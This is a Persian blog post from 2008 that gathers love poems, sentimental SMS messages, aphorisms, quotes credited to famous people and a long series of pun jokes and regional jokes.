«بادا»مباد گشت و «مبادا» به باد رفت
«آيا»زياد رفت و «چرا» در گلو شکست


فرصت گذشت و حرف دلم ناتمام ماند
نفرين و آفرين و دعا در گلو شکست


تا آمدم که با تو خدا حافظي کنم
بغضم امان نداد و خدا... در گلو شکست.

 

 

فروغ
دوست دارمش....


مثل دانه‌ئي که نور را

مثل مزرعي که باد را

مثل زورقي که موج را

يا پرنده‌ئي که اوج را

دوست دارمش...


با چه مي‌توان

عشق را به بند جاودان کشيد؟

با کدام بوسه، با کدام لب؟

در کدام لحظه، در کدام شب؟

 

 

 

+ نوشته شده در  شنبه 22 تیر1387ساعت 23:8  توسط سید حسین محمدی | 

 زندگي زيباست - زشتي هاي آن تقصير ماست - در مسيرش هرچه نازيباست - آن تدبير ماست - زندگي آب روانيست روان ميگذرد - هرچه تقدير من و توست همان ميگذرد

 
  هيچ وقت قول يک پسر بچه را جدي نگير اما هميشه از تهديدات يک دختر بچه بترس

 وقتي كه بچه بودم هر شب دعا ميكردم كه خدا يك دوچرخه به من بدهد. بعد فهميدم كه اينطوري فايده ندارد. پس يك دوچرخه دزديدم و دعا كردم كه خدا مرا ببخشد

 از ميان کسانيکه براي دعاي باران به تپه ها مي روند تنها آنان که با خود چتري به همراه مي برند به کار خود ايمان دارند.

??- ترکه تو خواب از 2-3 نفر بدجور کتک ميخوره فردا شب با بچه محلاش ميخوابد

-------------
يه ترکه مي بينن طناب بسته به کمرش ميگن چرا اينکارو کردي ؟ ميگه مي خوام خودکشي 

کنم! ميگن چرا دور کمرت؟ ميگه بستم دور گردنم ديدم دارم خفه ميشم بازش کردم !!!
------------------------
ازترکه ميپرسن شغلت چيه؟ ميگه: يه اطلاعاتي هيچ وقت شغلشو لو نميده
----------------------------------------


تركه مي ره پمپ بنزين و بعد از اينکه باکش رو پر مي کنه، مي ره پيش حسابدار و ميگه آقا چقدر؟ يارو مي گه 300. تركه تعجب مي کنه و آروم مي پرسه چي شده؟ شاه برگشته؟ بنزين فروش يواشکي جواب ميده نه، شما گازوئيل زدي 

--------------------
تو اردبيل يه بنده خدا ميميره, اعلاميشو ميچسبونن به ديوار, تو انتخابات راي اول مياره!!
-----------------------
تست کنکور اردبيل: سرعت نور چقدر است؟؟?- بد نيست ?-خوب است ?-شما چطوري ?-چه خبرا 

------------------------------
بچه اصفهاني از باباش سئوال ميكنه بابا چرا ما هم مثل مردم با كشتي سفر نمي كنيم ؟
باباش ميگه خفه شو شناتو بكن

-------------------------

براي انسانهاي بزرگ بن بست وجود ندارد. چون بر اين باورند که: يا راهي خواهم يافت يا راهي خواهم ساخت
-------------------------
فرصتها هيچ گاه از بين نمي روند، بلکه شخص ديگري فرصت از دست داده ما را تصاحب خواهد کرد
------------------------------------
ما از آن عاشق دلانيم که ز کس کينه نداريم / يک شهر دشمن و يک دوست نداريم
آدما نمي تونن تغيير كنن
رابطه ها نمي تونن عوض بشن
دنيا نمي تونه ثابت بمونه
ولي يه دوست ميتونه تا ابد يه دوست بمونه
دوستت دارم تا ابد

ا---------------------------------------------------------

 

مهم نيست كه اين اس ام اس رو مي خوني يا نه
مهم نيست كه جواب ميدي يا نه
مهم نيست كه برات مهمم يا نه
مهم نيست كه دوستم داري يا نه
مهم اينه كه تو مهمي...
---------------------------
 

شب ها چراغ دلت رو روشن بذار تا فرشته ها راه پاكي رو گم نكنن
شب هاي بي فرشته سنگين ميگذره
مثل روز هاي بي تو . . .

 ---------------------------------


ناپلئون ميگه: حرفي رو بزن كه بتوني بنويسيش ، چيزي رو بنويس كه بتوني امضاش كني
چيزي رو امضا كن كه بتوني پاش وايسي
پس : دوستت دارم
امضا ...
----------------------------------------------------
 


به همان قدر كه چشم تو پر از زيباييست بي تو دنياي من اي دوست پر از تنهاييست

 ------------------------------
ميدوني بزرگ ترين درد دنيا چيه؟
اينه كه بفهمي پناه لحظه هات يه پناه گاه ديگه داره . . .

---------------------------------
يه نقطه ي امن ، يه گوشه ي دنج ، يه جاي پايدار تو دلت بذار كنار.
منو اونجا بايگاني كن
اما فراموشم نكن . . .

-------------------------
به چا مشغول كنم ديده و دل را؟
دل تو را مي طلبد
ديده تو را مي جويد . . .

-------------------------------------------
 
ياد گرفتم که : 1. با احمق بحث نکنم و بگذارم در دنياي احمقانه خويش خوشبخت زندگي کند. 2. با وقيح جدل نکنم چون چيزي براي از دست دادن ندارد و روحم را تباه مي کند . 3. از حسود دوري کنم چون حتي اگر دنيا را هم به او تقديم کنم باز هم از من بيزار خواهد بود . 4. تنهايي را به بودن در جمعي که به آن تعلق ندارم ترجيح دهم

-----------------------------------------------

هي لوتي ? راه بيشتر نداري:
با من باشي
با تو باشم
توافق کني که باهم باشيم

 
-----------------------

تو دريايي و من موجي اسيرم که مي خواهم در آغوشت بميرم بيا درياي من آغوش بر کش نمي خواهم جدا از تو بميرم

----------------------------------------------


در صفحه ي "شطرنج" زندگي ام تمام "مهره" هايم "مات" مهرباني ات شد و من با "اسب سفيد" قلبم به سوي تو تاختم تا بگويم "شاه" دلم! دوستت دارم..
------------------------------


------------
فراموش نكن:قطاري كه از ريل خارج شده ممكن است آزاد باشد اما راه به جايي نخواهد برد!!
--------------------
 

عشق چنان است که هر چه بيشتر ارزاني داري سرشارتر شود و هرگاه که آن را تنگ در مشت گيري آسانتر از کف رود پروازش ده تا پايدار بماند

 
-------------------------

 

 

نگاهم ياد باران کرده امشب
مرا سر در گريبان کرده امشب
غم و فرياد من از اين و آن نيست
دلم ياد رفيقان کرده امشب
-----------------------

نشنو از ني، ني حصيري بي وفاست
بشنو از دل ، دل حريم کبرياست
ني چو سوزد خاک و خاکستر شود
دل چو سوزد خانه ي دلبر شود
----------------------------


---------------
تمام اميد آسيابون به وزش بده
تا آسيابش از کار نيفته
قلبم آسياب، خودم آسيابون و نفست همون باد . . .

 ---------------------------------

 


گمان کردم که با من هم دل و هم راز هم دردي
با تو پيمان مردانگي بستم نمي دانستم که نامردي ...

 ---------------

 

خنده بر لب مي زنم تا کس نداند راز من
ور نه اين دنيا که ما ديديم خنديدن نداشت

 -----------------------

 


 

 

 


به عضنفر ميگن با خمپاره جمله بساز. ميگه: شلواره من روز عيد غدير خم پاره شد !!!
----------------------------------


 
طلا را به وسيله آتش......زن را به وسيله طلا ........و مرد را به وسيله زن امتحان کنيد.فيثاغورث
-----------------------


دوست مزرعه سرسبزي است که با اميد و عشق در آن بذر مي افشاني و با سپاس آن را درو مي کني
---------------

توي دنيا دو تا نابينا مي‌شناسم، يكي تو كه هيچ موقع عشقم رو نديدي، يكي من كه كسي رو جز تو نديدم
----------------------


براي اداره كردن خويش ، از سرت استفاده كن . براي اداره كردن ديگران ، از قلبت " . دالايي لاما

----------------


وقتي كبوتري شروع به معاشرت با كلاغها ميكند پرهايش سفيد ميماند، ولي قلبش سياه ميشود.... دوست داشتن كسي كه لايق دوست داشتن نيست اصراف محبت است- دكتر علي شريعتي
-----------------

زندگي 4 پيچ داره :تولد، عشق، ازدواج و مرگ، سر کدوم پيچ منتظرت باشم؟

---------------------------------


به انتظار بينديش که چه صبورانه در تمامي لحظات مارا همراهي مي کند واما ما... چه عجولانه و با شتاب منتظر پايان انتظار هستيم غافل از اينکه انتظار هيچ گاه ما را تنها رها نخواهد کرد زيرا... پايان هر انتظار آغاز انتظاري ديگر است
--------------------
مطمئن باش که مهرت نرود از دل من مگر ان روز که در خاک شود منزل من
اشتياقي که به ديدار تو دارد دل مندل من داند و من دانم و اندر دل من
-----------------------


هرچي عشقه با نگينش/هرچي خوبه بهترينش/آسمونم با زمينش/همشون فداي تو
----------------------------------

دل من نرمترازجنس حرير/دلم از جنس بلور/گرتو راقصد شکستن باشد
/سنگ بي انصافي است/ يک تلنگر کافي است
--------------------


دردنياخواستار3چيزباش:ستاره به مدت يک شب/گل به مدت يک روز/رفاقت به مدت يک عمر
--------------------------------------------

گلي چيدم فرستادم برايت/غضب کردي فکندي زيرپايت/اگراين گل ندارد قابل تو/تو از گل بهتري جانم فدايت!
------------------------------------------
-به يکي ميگن: با «آجر» جمله بساز، ميگه با آجر كه جمله


نميسازن،‌ ديوار ميسازن!
--------------------------------------
-به يکي ميگن: با «ابريشم» جمله بساز، ميگه: هوا ابريشم خوبه!
-----------------------
-به يکي ميگن: با «اختاپوس» جمله بساز. ميگه: اوخ، تا پوستم

نسوخته برم تو سايه!
------------------------------
-به يکي ميگن: با «بنزين» جمله بساز. ميگه: خوش به حال شماها

كه سوار بنزين!
------------------------------------------
-به يکي ميگن: با «تلاش» جمله بساز،‌ ميگه: مادرم رفت بازار

طلاشو فروخت!
-----------------------------------------
-به يکي ميگن: با «توكيو» جمله بساز، ميگه: من خديجه رو دوست

دارم توكيو؟!
-----------------------------
-به يکي ميگن: با «جام جم» جمله بساز. ميگه: صبح كه از خواب

پاميشم جامو جم مي‌كنم!
-------------------------------------------
-به يکي ميگن: با «چيپس» جمله بساز. ميگه: چيپسر خوبي!

(چه پسر خوبي)
---------------------------------
-به يکي ميگن: با «حميد و فريد» جمله بساز. ميگه: شما با هميد؟

چند نفريد؟
---------------------------------------
-به يکي ميگن: با «حيدر» جمله بساز، ميگه: اومدم در خونتون هي

در زدم، هي در زدم،

هيچكي درو باز نكرد. بهش ميگن: نه بابا، با «آقا حيدر» جمله بساز،

ميگه:‌ اومدم در خونتون، آقا! هي در زدم، هي در زدم، هيچكي در رو

باز نكرد!

----------------------------------------
-به يکي ميگن: با «دوچرخه» جمله بساز. ميگه: بابا خسته شدم از

بس كه جمله ساختم!
--------------------------------------------
-به يکي ميگن: با «رادار» جمله بساز ميگه: از اينجا به خونه ما

راه داره!!
----------------------
-به يکي ميگن: با «ريلكس» جمله بساز. ميگه: رفتيم باغ‌وحش با

گوريل عكس گرفتيم!

-----------------------------------------


-به يکي ميگن: با «ستيز» جمله بساز، ميگه: دِ موبايل سِت ايز آف

(The mobile set is off)!!!
---------------------------
-به يکي ميگن: با «سوسن» جمله بساز. ميگه: من چلوكباب دوست

دارم مخصوصا با سماق!
---------------------
-به يکي ميگن: با «سينا» جمله بساز. ميگه: با عباس‌اينا رفتيم

بيرون!
------------------------------------------------------
-به يکي ميگن: با «شمشير» جمله بساز، ميگه: فدات شم شير

مي‌خوري؟!
------------------------------------
-به يکي ميگن: با «شيده» جمله بساز. ميگه: رفتم خونه ديدم بچه

شاشيده!
-------------------------------------------------
-به يکي ميگن: با «شيشه» جمله بساز،‌ ميگه: ساعت يك ربع به

شيشه!
-----------------------------------
-به يکي ميگن: با «صداقت» جمله بساز، ميگه: داشتم با تلفن

صحبت مي‌كردم صدا قطع شد!
----------------------------------
-به يکي ميگن: با «عدس» جمله بساز، ميگه: اگه امشب نياي

اَدست دلخور ميشم!
-----------------------------------
-به يکي ميگن: با «علي» جمله بساز. ميگه: صندلي
------------------------------------
-به يکي ميگن: با «قيمت» يك جمله بساز، گفت: مامان بدو تو

آشپزخونه كه خورشت قيمت سوخت.
----------------------------------------------------------
-به يکي ميگن: با «كار و كوشش» جمله بساز، ميگه: شلوار كار من

كوشش ؟!
-------------------------------------------------
-به يکي ميگن: با «كشور» جمله بساز،‌ ميگه: با كش ور رفتم خورد

به چشمم!
--------------------
-به يکي ميگن: با «كوش» يك جمله بساز، گفت: شلوار من كوش؟

گفتند: اين كه نشد، «كوش به معني كوشش.» گفت: شلوار من

كوشش؟ گفتند: بابا، «كوشش يعني كار.» گفت: خب از اول

مي‌گفتين، شلوار كار من كوشش؟
--------------------------------
-به يکي ميگن: با «كيشميش» يك جمله بساز، گفت: من پسر

عموش ميشم، تو كيشميشي؟
------------------------------
-به يکي ميگن: با «لجن» جمله بساز. ميگه: نميدونم چرا همه بچه

‌محل‌ها با من لجن؟
-------------------------------------------
-به يکي ميگن: با «لوبيا» جمله بساز، ميگه: كوچولوبيا!
------------------------------
-به يکي ميگن: با «لوستر» جمله بساز،‌ ميگه: من 3 تا دختر دارم

يكي از يكي لوس‌تر!
-----------------------------
-به يکي ميگن: با «ماشين» جمله بساز. ميگه: چقدر خوبه كه شما

بياييد همسايه ماشين!
-------------------------------
-به يکي ميگن: با «مايلي كهن» جمله بساز، ميگه: مايلي كهنتو

عوض كنم؟!
---------------------
-به يکي ميگن: با «مترو» جمله بساز. ميگه: اصلا سوالتون غلطه!

شما بايد بگين مترو ببر، مترو بيار، مترو بكش ولي متروچيه؟ نداريم!
-----------------------------
-به يکي ميگن: با «محمد دوعايه» (دروازه بان تيم فوتبال عربستان)

يك جمله بساز، گفت: من يك آيه از قرآن حفظ كردم، محمد دوآيه .
-----------------------------
-به يکي ميگن: با «مناجات» يك جمله بساز، گفت: مونا جات رو

بنداز بخواب.
----------------------
-به يکي ميگن: با «مينا و تينا» جمله بساز. ميگه: مامانم اينا با

باباتينا رفتن شمال!
--------------------------------
-به يکي ميگن: با «مينا» جمله بساز. ميگه: با قاسم‌اينا رفتيم بيرون!
-------------------------
-به يکي ميگن: با «نجيب» جمله بساز. ميگه: يه شلوار خريدم نه

جيب جلو داره نه جيب عقب!
--------------------------------
-به يکي ميگن: با «نخ سوزن» جمله بساز، ميگه: اين بچه‌هاي

تيم ملي واقعا زحمت مي‌كشند، نخسوزن علي دايي!
--------------------------------
-به يکي ميگن: با «هندونه» جمله بساز. ميگه: هند اونه كه بغل

پاكستانه!
---------------------------------
-به يکي ميگن: با «بيد» جمله بساز. ميگه: در خانه ما يك بيد بيد!

ميگن: اون بيد نيست، بوده. ميگه: آهان باشه، در خانه ما يك بود بيد!
-----------------------------------
-به يکي ميگن: با آش جمله بساز ميگه محمدي اش صلوات

---------------------------
-به يکي ميگن: با کشور جمله بساز ميگه بچه با کش ور نرو!!!
------------------------------------------------
-به يکي ميگن: با ماست جمله بساز مي گه بربري در انتظار ماست!
--------------------------------------------
-به يکي ميگن: يه جمله بساز كه توش ؛مرده: باشه مي گه

آمبولانس
-----------------------------
-به يکي ميگن: با بقيه جمله بساز ميگه من ديشب پيتزا خوردم-

بهش مي گن بقيش كو ؟ مي گه تو يخچال.
----------------------------------
-اگه ديدي کنار خيابون يه بچه رو يه روزنامه نشسته و روزنامه زرده

نگران نشو بچه جيش نکرده.تبليغ ايرانسله!!!!
----------------------------------------

يه نفر صبح خاكشير ميخوره تا شب مي دود تا ته نشين نشود .

-----------------------------------------------------------
به غضنفر ميگن يه جمله ادبي بساز كه توش از كلمات چالش و پرسش استفاده شده باشه ميگه چندروز پيش عموي بيوك اقامرد، برديم چالش كرديم بعدش رفتيم چلوكبابي و بيوك اقاسه پرس چلوكباب سفارش داد و دو پرسش رو من خوردم
-----------------------------------------------------------

يه جوجه تيغي با يك كيوي راه ميرفته مي گن اين كيه ؟مي گه برادرمه رفته سربازي
------------------------------------------------------
تو دلم جا داري كاره دنيا رو ميبيني دله من شده گاوداري
-----------------------------------------------------------
يه گل ديدم خواستم برات بخرم رفتم از فروشنده قيمتشو پرسيدم گفت اون گل نيست آينه است
-----------------------------------------------------------
غضنفره ميره بخوابه دو تا تشك ميندازه بهش ميگن چرا دوتا...ميگه اخه دو شبه كه نخوابيدم
-----------------------------------------------------------
غضنفر براي صرفه جوئي تمام سيم هاي وسائل برقيش رو چندتاگره زده بود كه كمتر برق مصرف بشه
-----------------------------------------------------------

 

يك روز غضنفر در خونشو رنگ ميكنه ,بچه هاش گم ميشن.
-----------------------------------------------------------

اگه يكبار در اينه خوب نگاه كني نيازئ به جوك براي خنده نداري.
همين..
-----------------------------------------------------------
شب بود و خورشيد به روشني مي درخشيد.
پيرمردي جوان،يكه و تنها،همراه خانواده اش در سكوت گوشخراش خيابان،قدم زنان،استاده بود....
(قطعه ي ادبي غضنفر)


------------------------------------------------

يك تضاد

سقراط گفته يوناني ها دروغگو هستند ولي خود سقراط هم

يونانيه پس دروغ مي گه كه يوناني ها دروغگو هستند پس

يوناني ها راستگو اند پس سقراط هم كه يونانيه راست مي گه

كه يونانيها دروغ گو هستند ...

آخر يوناني ها دروغگو اند يا راستگو ؟؟؟؟؟؟؟؟؟؟؟

--------------------------------

غضنفر سواره تاکسي ميشه . زنشو ميشونه رو صندلي جلو که راننده تو آينه نبينتش


-----------------------------------

 


به مجنون زد شبي ليلي اس ام اس
که آخر تا به کي تاخير و فس فس
اگر عقدم نخواهي سال جاري
روم تهران شوم دختر فراري


-----------------------------------------------------------

ا
-----------------------------------------------------------

اگه توي موهام مثل شپش باشي, قول ميدم واسه موندنت تا آخر عمرم حموم نرم
-----------------------------------------------------------
 
به ترکه مي گن سلام
مي گه عليک سلام

-----------------------------------------------------------

 

امروز قلبم درد گرفته بود ! .......
فکر کنم يکم تپل شدي جات تنگ شده


-----------------------------------------------------------


ديابت لباتم، خراب اون چشاتم، عاشق اون صداتم، بادبون کشتياتم، ديونه ي نگاتم، روانيه اداتم، ديگه جي ميخواي ، بخواي نخواي فداتم

 --------------------------
شمع مي سوزد و پروانه به دورش هر شب ... من كه مي سوزم و پروانه ندارم چه كنم؟
-----------------------------------------------------------

مرا اينگونه باور کن... کمي تنها ، کمي بي کس ، کمي از يادها رفته... خدا هم ترک ما کرده ، خدا ديگر کجا رفته...؟! نمي دانم مرا آيا گناهي هست..؟ که شايد هم به جرم آن ، غريبي و جدايي هست..؟؟؟
-----------------------------------------------------------

خانه هاي جدول زندگيم را دستان مهربانت يک به يک پر کرد و رمز جدول چنين بود: دوستم بدار
-----------------------------------------------------------
کاش مي دانستم بعد از مرگم اولين اشک از چشمان چه کسي جاري مي شود، و آخرين سياهپوش که مرا به فراموشي مي سپارد چه کسي خواهد بود
تا قبل از مرگم جانم را فدايش کنم
-----------------------------------------------------------

براي مرگ خود يک بهانه ميخواهم ... يک بهانه ي پوچ عاشقانه مي خواهم ... از غمي که مي داني .. با تو بودنم مرگ ست .. بي تو بودنم هرگز! .. اگر بهانه اين باشد .. من بهانه مي گيرم و عاشقانه ميميرم
-----------------------------------------------------------

گمان کردم که با من هم دل و هم راز هم دردي
با تو پيمان مردانگي بستم نمي دانستم که نامردي
-----------------------------------------------------------

نشنو از ني، ني حصيري بي وفاست
بشنو از دل ، دل حريم کبرياست
ني چو سوزد خاک و خاکستر شود
دل چو سوزد خانه ي دلبر شود
-----------------------------------------------------------

 

الهي شمع بشي، پروانه شم، دورت بگردم ... بعدش فوتت کنم، خاموش بشي، هرهر بخندم
-----------------------------------------------------------

اگه يه روز دلت گرفت و ندونستي چه کار کني... اينو يادت باشه که اگه منو داشتي هرگز دلت نمي گرفت
امضا: محلول لوله باز کن گلرنگ
-----------------------------------------------------------

يک باب خانه در نياوران به مساحت 450 مترمفيد، سونا استخر جکوزي و پکيج، با ديد بسيار عالي... به خدا خوشبختي نمياره، برو سر خونه زندگيت
-----------------------------------------------------------
ترکه سکه ميندازه صندوق صدقات ? سوارش ميشه
-----------------------------------------------------------


خدا خيرت بده، شنيدم مي ري بهزيستي براي اونايي که انگشت ندارن دست تو دماغشون مي کني
-----------------------------------------------------------

توي دنيا يکي هست که فقط براي تو نفس مي کشه
مي دوني کيه؟ دماغته
-----------------------------------------------------------

به بنده خدا ميگن: بابات به «رحمت ايزدي» پيوست! بنده خدا ميگه: «رحمت ايزدي» ديگه كيه؟ ميگن: نه، منظورمون اينه كه «به ديار باقي شتافت»! ميگه: «ديار باقي» كجاست؟ ميگن: يعني «دار فاني» رو وداع گفت! ميگه: «دار فاني» ديگه چه‌جور داريه؟ ميگن: يعني «رخت از اين دنيا بر بست»! ميگه: منظورتون رو نمي‌فهمم! ميگن: الاغ! باباي خرت مرد! ميگه: خر من كه بابا نداشت
-----------------------------------------------------------

اگر آسمون بيفته. اگر زمين بلرزه. اگر خورشيد سياه شه. اگر ماه به دو نيم شه. اگر دريا صحرا شه. . . . . . . . بدبخت داره قيامت ميشه. نشستي آف مي خوني!!؟
-------------------------------------
 
نمي دانم چرا ماانسانها عادت داريم آبي وسيع آسمان را رها كنيم و جذب آبي كوچك چشماني شويم كه عمقي ندارد و مي دانيم روزي بسته خواهد شد

 

 -----------------------------------------------
 
 
وقتي ازت دورم فكر نكني فراموشت مي كنم
نه ... فقط  بهت فرصت ميدم دلت واسم تنگ بشه

 

------------------------------------------------------------

 

راه نفوذ در ديگران ، دانستن آرزوهايشان است.

 

-----------------------------------------------------------

 

كاشكي هميشه پيشت بودم ميشد فراموشت كنم

 

-----------------------------------------------------------

 

چشات ديگه از من خسته سيره اما هنوز چشاي من اسيره فقط بدون که اين دل شکسته منتظره بگي واست بميره

 

-----------------------------------------------------------

 

کوير خشک دلمون ديگه زده هزار ترک غم ديگه بسه نازنين هرکي نمونده به درک

 

-----------------------------------------------------------

 

  عمريست زمانه درعذاب من وتوست گرماي زمين ازالتهاب من و توست آن قصه كه كهنگي ندارد هرگز سوگند به عشق انتخاب من و توست

 

-----------------------------------------------------------

 

بي تو ميشه زنده بود نميشه زندگي کرد

 

-----------------------------------------------------------

 

تا که از جانب معشوق نباشد کششي کوشش عاشق بيچاره به جايي نرسد

 

-----------------------------------------------------------

 

تموم دنيا سر جاش فقط منو دوست داشته باش

 

-----------------------------------------------------------

 

حکايت ها که با تو از دل بي تاب مي کردم اگر با سنگ مي گفتم دلش را آب مي کردم

 

-----------------------------------------------------------

 

عشق يعني از ديدن چهره هميشگي خسته نشي

 

-----------------------------------------------------------


مطمئن باش که مهرت نرود از دل من مگر ان روز که در خاک شود منزل من

 

-----------------------------------------------------------

 

اشتياقي که به ديدار تو دارد دل مندل من داند و من دانم و اندر دل من

 

-----------------------------------------------------------

 


 
 
هيچ‌گاه ويتريني نداشته‌ام
تا دلم را در آن به نمايش بگذارم
در قامت يک فروشنده دوره‌گرد عاشق تو شدم
از اين روست که تمام خيابانهاي شهر
عشق مرا مي‌شناسند
-----------------------------------------------------------

کاشکي دنيا واسه يک شب مال من بود اون وقت با خوشحالي از دنيام پرتت مي کردم بيرون!
-----------------------------------------------------------

اين چند روز و هيچي نخور تا انتخاب نشي؛ اينو به بقيه ي گله هم بگو...عيد قربان پيشاپيش مبارک
--------------------------------------------------------------------------------

هميشه به فکر تو ام در قلب من جا داري قلب من شده گاو داري
-----------------------------------------------------------

اختفواياايهاالذين لايتمسمسون. (تف بر شما اي كساني كه اس ام اس نميدهيد)
-----------------------------------------------------------

صفاي ما پا برهنه ها ميدوني چيه؟
اينه كه ريگي به كفشمون نيست!!!
-----------------------------------------------------------

اس ام اس LOVE : الهي چوب بشي تا پشمک بشم دورت بگردم
-----------------------------------------------------------

يه عصا ???? بار ميخوره زمين تا صاحبش زمين نخوره, عصاتم رفيق
-----------------------------------------------------------

نمي دانم چرا ماانسانها عادت داريم آبي وسيع آسمان را رها كنيم و جذب آبي كوچك چشماني شويم كه عمقي ندارد و مي دانيم روزي بسته خواهد شد
---------------
از همه چيز گذشتن و به همه چيز رسيدن مهم نيست . مهم از چه گذشتن و به چه رسيدن است
-----------------------------------------------------------
مهر يه چيزيه مهربوني يه چيز ديگه، عشق يه چيزيه عاشق شدن يه چيز ديگه، قلب و دل يه چيزيه اما توي قلب تو جا شدن يه چيز ديگه
-----------------------------------------------------------
!آسمونتم مي تواني هميشه بارونو تو چشمام ببيني. زمين مال زمين خوارها ،فضا مال فضا پيماها ، فقط تو مال من

-----------------------------------------------------------
در ماهيتابه عشقت سوختم بي وفا روغن بريز!!!
-----------------------------------------------------------
هيچ ميدوني چقدر گلي
.
.
.
.
.
واسه دست ضرر داره؟ فقط ريکا مصرف کن
-----------------------------------------------------------
هر کدام از ما چون فرشته اي با يک بال است . و تنها زماني قادر به پرواز خواهيم بود که در آغوش هم باشيم
-----------------------------------------------------------

از غضنفر ميپرسن سخت ترين کار چيه؟ ميگه نمک تو نمکدون ريختن, چون سوراخ هاش خيلي ريزه
-----------------------------------------------------------
آدم عزيزانشو فراموش نميکنه بلکه به نديدنشون عادت ميکنه.....تقديم به کسي که عادت به نديدنش مثل فراموش کردنش غيرممکنه
-----------------------------------------------------------
دوصت دارم با ص صابون تا همه تو کفش بمونن
-----------------------------------------------------------
عاشقان تو همه نام و نشاني دارند آنکه در کوي تو بي نام ونشان است منم
-----------------------------------
به نام آنکه طاووس را آفريد تا بوقلمون مثل تو قيافه نگيره
------------------------


يه قورباغه با يه اردک ازدواج ميکنه اگه گفتي بچه شون چي ميشه؟

.

.

.

.

بچه دار نميشن, واسشون دعا کن, زندگيشون داره از هم مي پاشه!


-----------------------------------------------------------
انهايي كه رنگ پريدگي پاييز را دوست ندارند . نمي فهمند كه پاييز همان بهار است كه عاشق شده است ...
-----------------------------------------------------------
شکسپير ميگه : فراموش کن چيزي را که نمي تواني بدست آوري و بدست بياور چيزي را که نمي تواني فراموش کني!

-------------------------------.
مرگ از زندگي پرسيد چرا من تلخم و تو شيريني؟ زندگي در جواب گفت : چون من دروغم و تو حقيقت

--------------------------
گر چه راه صعب است ، اما تو به صعود ادامه بده ، شايد قله در يک قدمي تو باشد


-----------------------------------------------------------

هر وقت آرام مي شويد ، از قلبتان تشکر کنيد که دستتان را به دامان آسمان رسانده است

------

در شگفتم که سلام آغاز هر ديداريست ، ولي در نماز پايان است . شايد اين بدين معناست که پايان نماز ، آغاز ديدار است . ( دکتر شريعتي )


-----------------------------------------------------------

اگر مي خواي ارزشت را نزد خدا بداني ، نگاه کن ببين ارزش خدا نزد تو در وقت گناه چه قدر است ؟
--------------------------------
کيسه کوچک چايي تمام عمر دلباخته ي ليوان بود ، ولي هر بار که حرف دلش را مي زد صدايش در آب جوش مي سوخت ... کيسه کوچک چاي با يک تيکه نخ رفت ته ليوان و حرف دلش را آهسته گفت ؛ ... ليوان سرخ شد!
------------------------------------------
دخترا به پنج گروه اصلي تقسيم ميشن :
‌گروه اول دخترائي هستند كه پسرا رو بدبخت ميكنن!
گروه دوم دخترائي هستند كه اشك پسرا رو در ميارن!
گروه سوم دخترائي هستند كه جوون پسرا رو به لبشون ميرسونن!
گروه چهارم دخترائي هستند كه كاري ميكنن پسرا روزي 18 بار‌آرزوي مرگ كنن!
گروه 5 دخترائي هستند كه به اشتباه فكر ميكنن جزو هيچكدوم از گروههاي بالا نيستن
----------------------------------------------------
تركه زنش رو ميبره سونوگرافي ، بهش ميگن بچت پسره . مي گه : ااا ... تورو قرآن اسمش چيه؟


-----------------------------------------------------------

به تركه ميگن:پشتت خاكيه تركه ميگه: پس چي ميخواستي آسفالت باشه


-----------------------------------------------------------

پليس راهنماييي جلو تركه رو ميگيره ميگه: كارت ماشين گواهينامه معاينه فني بيمه ... تركه ميگه : چيكار كنم ؟ جمله بسازم؟


-----------------------------------------------------------

بوش بعد از مسلمان شدن به احمدي نژاد گفت انرژي هسته‌اي رو ولش؛ اين صيغه كه ميگن چيه؟
---------------------
اصفهانيه به بچه اش ميگه: اگه همه نمره هات بيست بشه مي برمت پارک تا بستني خوردن بچه هاي ديگرو ببيني
--------------------------------
تركه ميخواسته يك كبريت سوخته رو روشن كنه،هرچي ميزده كبريت مادرمرده روشن نميشده. رفيقش بهش ميگه: بابا خوب شايد كبريتش خرابه! تركه ميگه: نه بابا، همين پنج دقيقه پيش روشن شد
-----------------------------------------
اگر مي‌خواهيد در زندگي دوستان وفادار و ياران غمخوار داشته‌باشيد، کم و خيلي دير با مردم دوست شويد .(هرشل)


-----------------------------------------------------------

دوستان جديد پيدا کنيد اما دوستان قديمي را هم حفظ کنيد، اينها نقره و آنها طلا هستند. (پرمودابترا)


-----------------------------------------------------------

کسي‌که حفظ جان را مقدم بر آزادي بداند، لياقت آزادي را ندارد. (بنجامين فرانکلين)


-----------------------------------------------------------

وقتي نهال آزادي ريشه گرفت به سرعت رشد ونمو مي‌کند. «جورج واشنگتن»


-----------------------------------------------------------

خداوند آزادي را آفريد و بشر بندگي را. «آندره شينه»


-----------------------------------------------------------

بالاتر از همه چيز اين‌است‌که با خودمان صادق باشيم. «ويليام شکسپير»


-----------------------------------------------------------

نخستين نشانه فساد ترک صداقت است. «ميشل دو مونتي»


-----------------------------------------------------------

بزرگترين درس زندگي اينست‌که گاهي احمق‌ها هم درست مي‌گويند. (وينستون چرچيل)


-----------------------------------------------------------

هرگز مردي ولو بسيار نادان را نديدم که از وي چيزي نتوانسته‌ام بياموزم.  (گاليله)


-----------------------------------------------------------

 نه از خودت تعريف کن و نه بدگويي. اگر از خودت تعريف کني قبول نمي‌کنند و اگر بدگويي کني بيش از آنچه اظهار داشتي تو را بد خواهند پنداشت.(کنفوسيوس)


 -------------------------------

 ميخوام روي بلندترين قله وايسم .. با تمام وجود داد بزنم : عشق من دوست دارم ! ولي حسش نيس تا اون بالا برم
-----------------------------------------
 .ظ): در دنيا دو چيز مارا افسون مي کند:يکي آبي درياکه ميبينيم وميدانيم که نيست و ديگري خدايي که نميبينيم و ميدانيم که هست
----------------------


 
گاهي وقتها از نردبان بالا ميرويم تا دستهاي خدا را بگيريم غافل از اينکه خدا پايين
ايستاده ونرده ها رو محکم گرفته که ما نيفتيم

 
بغض آسمون يه روز مي تركه از غبار آدما دست مي كشه از جدائيا شكايت مي كنه اونچه
ديده رو روايت مي كنه
 

 

اگر نتوانيد فراموش کنيد و ديگران را ببخشيد شما تنها کسي خواهيد بود که رنج مي
کشيد
 
مردي در عالم رويا فرشته اي را ديد که در يک دستش مشعل و در دست ديگرش سطل آبي
گرفته بود و در جاده اي روشن و تاريک راه مي رفت.مرد جلو رفت و از فرشته پرسيد:"اين
مشعل و سطل آب را کجا مي بري؟"فرشته جواب داد:"مي خواهم با اين مشعل بهشت را آتش
بزنم وبا اين سطل آب،آتش هاي جهنم را خاموش کنم.آن وقت ببينم چه کسي واقعا واسه
خاطر خدا عبادت ميكند
 ------------------------------------------
فرصتها هيچ گاه از بين نمي روند، بلکه شخص ديگري فرصت از دست داده ما را تصاحب
خواهد کرد
-------------------------------------------

